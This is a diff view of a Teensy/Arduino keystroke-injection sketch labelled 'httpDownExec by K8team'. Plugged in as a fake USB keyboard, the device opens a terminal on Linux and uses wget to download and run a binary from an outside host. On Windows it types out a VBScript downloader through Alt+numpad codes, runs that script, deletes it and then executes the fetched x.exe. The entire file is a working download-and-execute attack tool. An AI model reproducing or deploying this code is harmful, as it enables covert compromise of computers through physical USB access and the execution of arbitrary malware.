|
| 1 | +//lnx & win httpDownExec by K8team 2015.4.6 |
| 2 | +int myKeyBreak = 50; |
| 3 | + |
| 4 | +void setup() { |
| 5 | + //linux downexec |
| 6 | + delay(5000); |
| 7 | + terminal(); |
| 8 | + delay(3000); |
| 9 | + Keyboard.println("rm xxoo.out"); |
| 10 | + delay(2000); |
| 11 | + Keyboard.println("wget http://192.168.1.8/x.out -O xxoo.out"); |
| 12 | + delay(2000); |
| 13 | + Keyboard.println("chmod +x xxoo.out"); |
| 14 | + Keyboard.println("./xxoo.out &"); |
| 15 | + delay(2000); |
| 16 | + Keyboard.println("exit"); |
| 17 | + |
| 18 | + //win downexec |
| 19 | + omg("cmd.exe"); |
| 20 | + delay(500); |
| 21 | + Keyboard.println("color a&&cls"); |
| 22 | + delay(myKeyBreak); |
| 23 | + ascii_println("del x.exe"); |
| 24 | + delay(myKeyBreak); |
| 25 | + ascii_println("echo strFileURL = \"http://192.168.1.8/x.exe\" > K8.vbs"); |
| 26 | + delay(myKeyBreak); |
| 27 | + ascii_println("echo strHDLocation = \"x.exe\" >> K8.vbs"); |
| 28 | + delay(myKeyBreak); |
| 29 | + ascii_println("echo Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") >> K8.vbs"); |
| 30 | + delay(myKeyBreak); |
| 31 | + ascii_println("echo objXMLHTTP.open \"GET\", strFileURL, false >> K8.vbs"); |
| 32 | + delay(myKeyBreak); |
| 33 | + ascii_println("echo objXMLHTTP.send() >> K8.vbs"); |
| 34 | + delay(myKeyBreak); |
| 35 | + ascii_println("echo If objXMLHTTP.Status = 200 Then >> K8.vbs"); |
| 36 | + delay(myKeyBreak); |
| 37 | + ascii_println("echo Set objADOStream = CreateObject(\"ADODB.Stream\") >> K8.vbs"); |
| 38 | + delay(myKeyBreak); |
| 39 | + ascii_println("echo objADOStream.Open >> K8.vbs"); |
| 40 | + delay(myKeyBreak); |
| 41 | + ascii_println("echo objADOStream.Type = 1 >> K8.vbs"); |
| 42 | + delay(myKeyBreak); |
| 43 | + ascii_println("echo objADOStream.Write objXMLHTTP.ResponseBody >> K8.vbs"); |
| 44 | + delay(myKeyBreak); |
| 45 | + ascii_println("echo objADOStream.Position = 0 >> K8.vbs"); |
| 46 | + delay(myKeyBreak); |
| 47 | + ascii_println("echo Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> K8.vbs"); |
| 48 | + delay(myKeyBreak); |
| 49 | + ascii_println("echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> K8.vbs"); |
| 50 | + delay(myKeyBreak); |
| 51 | + ascii_println("echo Set objFSO = Nothing >> K8.vbs"); |
| 52 | + delay(myKeyBreak); |
| 53 | + ascii_println("echo objADOStream.SaveToFile strHDLocation >> K8.vbs"); |
| 54 | + delay(myKeyBreak); |
| 55 | + ascii_println("echo objADOStream.Close >> K8.vbs"); |
| 56 | + delay(myKeyBreak); |
| 57 | + ascii_println("echo Set objADOStream = Nothing >> K8.vbs"); |
| 58 | + delay(myKeyBreak); |
| 59 | + ascii_println("echo End if >> K8.vbs"); |
| 60 | + delay(myKeyBreak); |
| 61 | + ascii_println("echo Set objXMLHTTP = Nothing >> K8.vbs"); |
| 62 | + delay(myKeyBreak); |
| 63 | + ascii_println("exit"); |
| 64 | + delay(1000); |
| 65 | + omg("cmd /c cscript K8.vbs"); |
| 66 | + delay(8000); |
| 67 | + omg("cmd /c del K8.vbs"); |
| 68 | + delay(1000); |
| 69 | + omg("cmd /c x.exe"); |
| 70 | + delay(10000); |
| 71 | + |
| 72 | +} |
| 73 | +void loop() { |
| 74 | +} |
| 75 | + |
| 76 | +void ascii_println(char *string) |
| 77 | +{ |
| 78 | + ascii_type_this(string); |
| 79 | + Keyboard.set_key1(KEY_ENTER); |
| 80 | + Keyboard.send_now(); |
| 81 | + delay(100); |
| 82 | + Keyboard.set_key1(0); |
| 83 | + Keyboard.send_now(); |
| 84 | + delay(100); |
| 85 | +} |
| 86 | + |
| 87 | + |
| 88 | +void ascii_type_this(char *string) |
| 89 | +{ |
| 90 | + int count, length; |
| 91 | + length = strlen(string); |
| 92 | + for(count = 0 ; count < length ; count++) |
| 93 | + { |
| 94 | + char a = string[count]; |
| 95 | + ascii_input(ascii_convert(a)); |
| 96 | + } |
| 97 | +} |
| 98 | + |
| 99 | +void ascii_input(char *string) |
| 100 | +{ |
| 101 | + if (string == "000") return; |
| 102 | + int count, length; |
| 103 | + length = strlen(string); |
| 104 | + Keyboard.set_modifier(MODIFIERKEY_ALT); |
| 105 | + Keyboard.send_now(); |
| 106 | + for(count = 0 ; count < length ; count++) |
| 107 | + { |
| 108 | + char a = string[count]; |
| 109 | + if (a == '1') Keyboard.set_key1(KEYPAD_1); |
| 110 | + if (a == '2') Keyboard.set_key1(KEYPAD_2); |
| 111 | + if (a == '3') Keyboard.set_key1(KEYPAD_3); |
| 112 | + if (a == '4') Keyboard.set_key1(KEYPAD_4); |
| 113 | + if (a == '5') Keyboard.set_key1(KEYPAD_5); |
| 114 | + if (a == '6') Keyboard.set_key1(KEYPAD_6); |
| 115 | + if (a == '7') Keyboard.set_key1(KEYPAD_7); |
| 116 | + if (a == '8') Keyboard.set_key1(KEYPAD_8); |
| 117 | + if (a == '9') Keyboard.set_key1(KEYPAD_9); |
| 118 | + if (a == '0') Keyboard.set_key1(KEYPAD_0); |
| 119 | + Keyboard.send_now(); |
| 120 | + Keyboard.set_key1(0); |
| 121 | + delay(11); |
| 122 | + Keyboard.send_now(); |
| 123 | + } |
| 124 | + Keyboard.set_modifier(0); |
| 125 | + Keyboard.set_key1(0); |
| 126 | + Keyboard.send_now(); |
| 127 | +} |
| 128 | + |
| 129 | +char* ascii_convert(char string) |
| 130 | +{ |
| 131 | + if (string == 'T') return "84"; |
| 132 | + if (string == ' ') return "32"; |
| 133 | + if (string == '!') return "33"; |
| 134 | + if (string == '\"') return "34"; |
| 135 | + if (string == '#') return "35"; |
| 136 | + if (string == '$') return "36"; |
| 137 | + if (string == '%') return "37"; |
| 138 | + if (string == '&') return "38"; |
| 139 | + if (string == '\'') return "39"; |
| 140 | + if (string == '(') return "40"; |
| 141 | + if (string == ')') return "41"; |
| 142 | + if (string == '*') return "42"; |
| 143 | + if (string == '+') return "43"; |
| 144 | + if (string == ',') return "44"; |
| 145 | + if (string == '-') return "45"; |
| 146 | + if (string == '.') return "46"; |
| 147 | + if (string == '/') return "47"; |
| 148 | + if (string == '0') return "48"; |
| 149 | + if (string == '1') return "49"; |
| 150 | + if (string == '2') return "50"; |
| 151 | + if (string == '3') return "51"; |
| 152 | + if (string == '4') return "52"; |
| 153 | + if (string == '5') return "53"; |
| 154 | + if (string == '6') return "54"; |
| 155 | + if (string == '7') return "55"; |
| 156 | + if (string == '8') return "56"; |
| 157 | + if (string == '9') return "57"; |
| 158 | + if (string == ':') return "58"; |
| 159 | + if (string == ';') return "59"; |
| 160 | + if (string == '<') return "60"; |
| 161 | + if (string == '=') return "61"; |
| 162 | + if (string == '>') return "62"; |
| 163 | + if (string == '?') return "63"; |
| 164 | + if (string == '@') return "64"; |
| 165 | + if (string == 'A') return "65"; |
| 166 | + if (string == 'B') return "66"; |
| 167 | + if (string == 'C') return "67"; |
| 168 | + if (string == 'D') return "68"; |
| 169 | + if (string == 'E') return "69"; |
| 170 | + if (string == 'F') return "70"; |
| 171 | + if (string == 'G') return "71"; |
| 172 | + if (string == 'H') return "72"; |
| 173 | + if (string == 'I') return "73"; |
| 174 | + if (string == 'J') return "74"; |
| 175 | + if (string == 'K') return "75"; |
| 176 | + if (string == 'L') return "76"; |
| 177 | + if (string == 'M') return "77"; |
| 178 | + if (string == 'N') return "78"; |
| 179 | + if (string == 'O') return "79"; |
| 180 | + if (string == 'P') return "80"; |
| 181 | + if (string == 'Q') return "81"; |
| 182 | + if (string == 'R') return "82"; |
| 183 | + if (string == 'S') return "83"; |
| 184 | + if (string == 'T') return "84"; |
| 185 | + if (string == 'U') return "85"; |
| 186 | + if (string == 'V') return "86"; |
| 187 | + if (string == 'W') return "87"; |
| 188 | + if (string == 'X') return "88"; |
| 189 | + if (string == 'Y') return "89"; |
| 190 | + if (string == 'Z') return "90"; |
| 191 | + if (string == '[') return "91"; |
| 192 | + if (string == '\\') return "92"; |
| 193 | + if (string == ']') return "93"; |
| 194 | + if (string == '^') return "94"; |
| 195 | + if (string == '_') return "95"; |
| 196 | + if (string == '`') return "96"; |
| 197 | + if (string == 'a') return "97"; |
| 198 | + if (string == 'b') return "98"; |
| 199 | + if (string == 'c') return "99"; |
| 200 | + if (string == 'd') return "100"; |
| 201 | + if (string == 'e') return "101"; |
| 202 | + if (string == 'f') return "102"; |
| 203 | + if (string == 'g') return "103"; |
| 204 | + if (string == 'h') return "104"; |
| 205 | + if (string == 'i') return "105"; |
| 206 | + if (string == 'j') return "106"; |
| 207 | + if (string == 'k') return "107"; |
| 208 | + if (string == 'l') return "108"; |
| 209 | + if (string == 'm') return "109"; |
| 210 | + if (string == 'n') return "110"; |
| 211 | + if (string == 'o') return "111"; |
| 212 | + if (string == 'p') return "112"; |
| 213 | + if (string == 'q') return "113"; |
| 214 | + if (string == 'r') return "114"; |
| 215 | + if (string == 's') return "115"; |
| 216 | + if (string == 't') return "116"; |
| 217 | + if (string == 'u') return "117"; |
| 218 | + if (string == 'v') return "118"; |
| 219 | + if (string == 'w') return "119"; |
| 220 | + if (string == 'x') return "120"; |
| 221 | + if (string == 'y') return "121"; |
| 222 | + if (string == 'z') return "122"; |
| 223 | + if (string == '{') return "123"; |
| 224 | + if (string == '|') return "124"; |
| 225 | + if (string == '}') return "125"; |
| 226 | + if (string == '~') return "126"; |
| 227 | + Keyboard.print(string); |
| 228 | + return "000"; |
| 229 | +} |
| 230 | + |
| 231 | +void release_keys() |
| 232 | +{ |
| 233 | + Keyboard.set_modifier(0); |
| 234 | + Keyboard.set_key1(0); |
| 235 | + Keyboard.send_now(); |
| 236 | + delay(100); |
| 237 | +} |
| 238 | + |
| 239 | +void send_keys(byte key, byte modifier) |
| 240 | +{ |
| 241 | + if(modifier) |
| 242 | + Keyboard.set_modifier(modifier); |
| 243 | + Keyboard.set_key1(key); |
| 244 | + Keyboard.send_now(); |
| 245 | + delay(100); |
| 246 | + release_keys(); |
| 247 | +} |
| 248 | + |
| 249 | +void omg(char *SomeCommand) |
| 250 | +{ |
| 251 | + Keyboard.set_modifier(128); |
| 252 | + Keyboard.set_key1(KEY_R); |
| 253 | + Keyboard.send_now(); |
| 254 | + Keyboard.set_modifier(0); |
| 255 | + Keyboard.set_key1(0); |
| 256 | + Keyboard.send_now(); |
| 257 | + delay(1500); |
| 258 | + ascii_type_this(SomeCommand); |
| 259 | + Keyboard.set_key1(KEY_ENTER); |
| 260 | + Keyboard.send_now(); |
| 261 | + Keyboard.set_key1(0); |
| 262 | + Keyboard.send_now(); |
| 263 | +} |
| 264 | + |
| 265 | +void terminal() |
| 266 | +{ |
| 267 | + Keyboard.set_modifier(MODIFIERKEY_CTRL); |
| 268 | + Keyboard.send_now(); |
| 269 | + Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT); |
| 270 | + Keyboard.send_now(); |
| 271 | + Keyboard.set_key1(KEY_T); |
| 272 | + Keyboard.send_now(); |
| 273 | + |
| 274 | + delay(100); |
| 275 | + Keyboard.set_modifier(0); |
| 276 | + Keyboard.set_key1(0); |
| 277 | + Keyboard.send_now(); |
| 278 | + |
| 279 | +} |
0 commit comments